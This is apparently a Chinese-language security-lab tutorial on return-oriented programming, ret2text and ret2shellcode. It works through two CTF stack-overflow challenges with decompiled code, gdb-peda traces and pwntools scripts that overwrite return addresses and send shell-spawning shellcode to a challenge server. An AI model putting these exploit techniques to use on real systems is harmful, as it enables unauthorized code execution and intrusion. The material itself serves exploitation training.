本文作者:杉木@涂鸦智能安全实验室
ROP (Return-Oriented Programming)是为了程序编译后存在如非执行(NX)页或代码签名等保护机制时,仍能执行任意代码一种手段;其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
“gadget” 指的是目标程序或系统库中的一小段机器指令序列,这些序列以 ret
指令结束。之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
假设有以下几个 x86 架构的指令序列作为 gadgets,可以通过组合这些gadgets构造一个执行序列。
gadget1:
xor eax, eax ; 将 EAX 寄存器清零
ret ; 返回到下一个 gadget
gadget2:
add eax, ebx ; 将 EBX 寄存器的值加到 EAX 寄存器
ret ; 返回到下一个 gadget
gadget3:
mov ebx, [esp+4] ; 将栈上某个值存到 EBX 寄存器
ret
ret2text
原理
ret2text 即控制程序执行程序本身已有的的代码 (.text)。
.data | 已经初始化的全局静态变量和局部静态变量 |
---|---|
.bss | 未初始化的全局静态变量和局部静态变量(当赋值为0时也在.bss) |
.text | 指令 |
.rodata | 只读数据,只读变量(如const修饰的变量)和字符串常量 |
.rodatal | Read only Data,只读数据,如字符串常量、全局const变量,如上 |
.init .fini | 程序初始化与终结代码段 |
.plt .got | 动态链接的跳转表和全局入口表 |
.comment | 存编译器版本信息 |
.debug | 调试信息 |
.dynamic | 动态链接信息 |
.hash | 符号哈希表 |
.line | 调试时的行号表,即源代码行号与编译后指令的对应表 |
.note | 额外的编译器信息,如程序的公司名、发布版本等 |
.strtab | String Table,字符串表 |
.symtab | Symbol Table,符号表 |
.shstrtab | Section String Table,段名表 |
关于段更加详细的内容可以参考《程序员的自我修养-链接、装载与库》这本书;
案例1-通过动态调试测量溢出长度
拿到可执行文件,先来看一下文件的架构以及编译环境配置,这些环境配置决定了后续的内容;
可以看到程序是32位程序,然后开启了NX,栈不可执行保护;
Tip:为何要关注这些?
参考:
elf文件分析–checksec–检查gcc安全编译配置
尝试跑一下程序,大概理解一下功能逻辑,然后再看一下程序代码;直接拉到ida或者ghidra里边,代码如下;
可以看到gets函数存在栈溢出漏洞;
/* WARNING: Unknown calling convention */
int main(void)
{
char buf [100];
char local_74 [112];
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
puts("There is something amazing here, do you know anything?");
gets(local_74);
printf("Maybe I will tell you next time !");
return 0;
}
继续看其他函数,在secure函数里又看到调用system(”/bin/sh”),直接控制程序返回secure函数就可以得到系统的shell了;
/* WARNING: Unknown calling convention */
void secure(void)
{
uint __seed;
int input;
int secretcode;
__seed = time((time_t *)0x0);
srand(__seed);
secretcode = rand();
__isoc99_scanf(&DAT_08048760,&input);
if (input == secretcode) {
system("/bin/sh");
}
return;
}
接下来就是构造payload了,首先需要确定的是可以控制的内存的起始位置;
Tip:如何测量溢出长度?
方法一:
在ghidra中可以看到local_74是在ESP索引中,且实际位置为ESP+0x1c;要查看偏移长度,需要通过动态调试的方式,将断点下在CALL处,查看ESP,EBP位置;
gets函数CALL指令对应的位置是080486ae,对这个位置进行break,然后执行程序,让断点停在这个地方,查看此时栈空间的ESP,EBP位置;
ESP=0xffffcdf0
EBP=0xffffce78
因此可以推断
- local_74 = ESP+0x1c = EAX = 0xffffce0c
- local_74相对于EBP的偏移 = EBP - EAX = 0xffffce78 - 0xffffce0c = 0x6c
- local_74相对于返回地址的偏移 = local_74相对于EBP的偏移 +
参考:
汇编指令;
方法二:
通过静态分析,肉眼观察变量的溢出长度,如图,local_74的长度为112,跟第一种方式计算的结果一致;但是这种情况不一定是准确的,只是这道题恰好符合;
方法三:
通过Cyclic工具或者gdb-peda自带的pattern测量溢出长度,具体参考案例
方法四:
等着大伙去发现。
Tip:如何构造payload?
from pwn import *
# 连接到目标,可以是一个进程或者远程的服务
sh = process('./your_binary') # 用你的二进制替换 './your_binary'
# sh = remote('hostname', port) # 用目标主机名和端口替换 'hostname' 和 port
target = 0x804863a # 用你要覆盖的返回地址替换 0x804863a
payload = b'A' * (0x6c+4) + p32(target)
sh.sendline(payload)
# 然后你可以添加更多的交互/自动化代码
sh.interactive()
这里针对脚本简单解释一下;
sh.sendline(...)
: 这倾向于来自**pwntools
库,sh
可能是与程序的通信接口,例如一个网络连接或者进程的管道。sendline
**方法是向这个接口发送数据,并在末尾加上换行符。'A' * (0x6c+4)
: 这是在创建一个由许多A
字符组成的字符串,长度为0x6c + 4
。0x6c
是16进制表示的数,转换为十进制是108
,所以这个字符串的总长度将是108 + 4 = 112
个A
。p32(target)
: 这也是pwntools
库中的函数,它将一个32位整数(也就是一个地址)打包成字节串,按照小端序格式。target
应该是一个地址值,你需要覆盖的地址,通常是溢出缓冲区后的返回地址。
具体参考:
ret2shellcode
原理
通过ret2text可以看到,其利用前提是程序中已经有写好可返回shell的方法,不然就没有办法利用;当然遇到这种场景,就需要我们自己填充一个shellcode,而这就是ret2shellcode,不过shellcode所在的内存区域需要具有可执行的权限;
需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用。
shellcode payload生成公式:
payload = padding1 + address of shellcode + padding2 + shellcode
Exploit DB上提供的shellcode—Exploit Database Search (exploit-db.com)
案例
题目1 [HNCTF 2022 Week1]ret2shellcode
题目源码:
#include<stdio.h>
char buff[256];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
strcpy(buff,buf);
return 0;
}
查看程序状态,64,开启NX;
Ghidra:
undefined8 main(void)
{
char local_108 [256];
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
setbuf(stdout,(char *)0x0);
FUN_004010c0(&_GLOBAL_OFFSET_TABLE_,0x1000,7);
memset(local_108,0,0x100);
read(0,local_108,0x110);
strcpy(buff,local_108);
return 0;
}
溢出点在strcpy,local_108[256]在栈,buff/004040a0 在bss段;
ret2shellcode题型开NX保护之后,常用函数mprotect()
,通过和源码对比FUN_004010c0函数就是mprotect(),对此函数断点,查看在此前后buff在栈空间内的执行状态,以此来判断是否可以执行shellcode;
gdb-peda$ r
Starting program: /home/samli/shellcode
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x401280 (<__libc_csu_init>: endbr64)
RCX: 0xc00 ('')
RDX: 0x7
RSI: 0x1000
RDI: 0x404000 --> 0x403e20 --> 0x1
RBP: 0x7fffffffdd00 --> 0x0
RSP: 0x7fffffffdc00 --> 0x34000000340
RIP: 0x401220 (<main+106>: call 0x4010c0 <mprotect@plt>)
R8 : 0x0
R9 : 0x7ffff7fe0d60 (<_dl_fini>: endbr64)
R10: 0x400513 --> 0x5f00667562746573 ('setbuf')
R11: 0x7ffff7e57ad0 (<setbuf>: endbr64)
R12: 0x4010d0 (<_start>: endbr64)
R13: 0x7fffffffddf0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401213 <main+93>: mov esi,0x1000
0x401218 <main+98>: mov rdi,rax
0x40121b <main+101>: mov eax,0x0
=> 0x401220 <main+106>: call 0x4010c0 <mprotect@plt>
0x401225 <main+111>: lea rax,[rbp-0x100]
0x40122c <main+118>: mov edx,0x100
0x401231 <main+123>: mov esi,0x0
0x401236 <main+128>: mov rdi,rax
Guessed arguments:
arg[0]: 0x404000 --> 0x403e20 --> 0x1
arg[1]: 0x1000
arg[2]: 0x7
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc00 --> 0x34000000340
0008| 0x7fffffffdc08 --> 0x34000000340
0016| 0x7fffffffdc10 --> 0x34000000340
0024| 0x7fffffffdc18 --> 0x34000000340
0032| 0x7fffffffdc20 --> 0x34000000340
0040| 0x7fffffffdc28 --> 0x34000000340
0048| 0x7fffffffdc30 --> 0x34000000340
0056| 0x7fffffffdc38 --> 0x34000000340
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000401220 in main ()
gdb-peda$ vmmap 0x4040A0
Start End Perm Name
0x00404000 0x00405000 rw-p /home/samli/shellcode
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x401280 (<__libc_csu_init>: endbr64)
RCX: 0x7ffff7ee4bcb (<mprotect+11>: cmp rax,0xfffffffffffff001)
RDX: 0x7
RSI: 0x1000
RDI: 0x404000 --> 0x403e20 --> 0x1
RBP: 0x7fffffffdd00 --> 0x0
RSP: 0x7fffffffdc00 --> 0x34000000340
RIP: 0x401225 (<main+111>: lea rax,[rbp-0x100])
R8 : 0x0
R9 : 0x7ffff7fe0d60 (<_dl_fini>: endbr64)
R10: 0x400503 ("mprotect")
R11: 0x202
R12: 0x4010d0 (<_start>: endbr64)
R13: 0x7fffffffddf0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401218 <main+98>: mov rdi,rax
0x40121b <main+101>: mov eax,0x0
0x401220 <main+106>: call 0x4010c0 <mprotect@plt>
=> 0x401225 <main+111>: lea rax,[rbp-0x100]
0x40122c <main+118>: mov edx,0x100
0x401231 <main+123>: mov esi,0x0
0x401236 <main+128>: mov rdi,rax
0x401239 <main+131>: call 0x4010a0 <memset@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc00 --> 0x34000000340
0008| 0x7fffffffdc08 --> 0x34000000340
0016| 0x7fffffffdc10 --> 0x34000000340
0024| 0x7fffffffdc18 --> 0x34000000340
0032| 0x7fffffffdc20 --> 0x34000000340
0040| 0x7fffffffdc28 --> 0x34000000340
0048| 0x7fffffffdc30 --> 0x34000000340
0056| 0x7fffffffdc38 --> 0x34000000340
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000401225 in main ()
gdb-peda$ vmmap 0x4040A0
Start End Perm Name
0x00404000 0x00405000 rwxp /home/samli/shellcode
可以看到在没有运行mprotect()函数之前,权限没有变化,在执行之后,权限变成rwxp,通过函数mprotect()即使开启了NX,也可以执行shellcode;
构造EXP
from pwn import *
# context对象可以配置许多不同的属性来控制各种方面的行为
# 常见的几种配置项
# arch: 目标架构,如'i386', 'amd64', 'arm', 'mips'等。
# bits: 处理器位数,通常由arch自动设置,如32, 64。
# endian: 字节序,'little'或'big'。
# os: 目标操作系统,如'linux', 'windows', 'freebsd'等。
# log_level: 日志级别,如'debug', 'info', 'warning', 'error', 'critical'。
context(log_level = "debug", arch = 'amd64')
# 设置远程服务的IP地址和端口
ip = 'node5.anna.nssctf.cn' # 替换为实际的IP地址
port = 22419 # 替换为实际的端口号
# 连接到远程服务
p = remote(ip, port)
# 调试的时候可以使用 gdb.attach(p) 来附加GDB
# gdb.attach(p)
# 如果你知道偏移量,可以生成一个填充字符串
offset = 0x100 + 8
# 添加shellcode
# 你需要根据你的目标来修改这个shellcode
shellcode = asm(shellcraft.sh())
# 假设buff_addr是我们想要跳转到的目标地址
buff_addr = 0x4040A0
# 构建最终的payload
# 函数ljust()用于将shellcode扩展到特定的长度,或者找到长度一样的shellcode
payload = shellcode.ljust(offset, b'a') + p64(buff_addr)
# 发送payload到目标
p.sendline(payload)
# 转到交互模式,这样你可以与shell交互
p.interactive()
参考
基本 ROP - CTF Wiki (ctf-wiki.org)
Gallopsled/pwntools: CTF framework and exploit development library (github.com)
练习题目:
ctf-challenges/pwn/stackoverflow at master · ctf-wiki/ctf-challenges (github.com)
漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。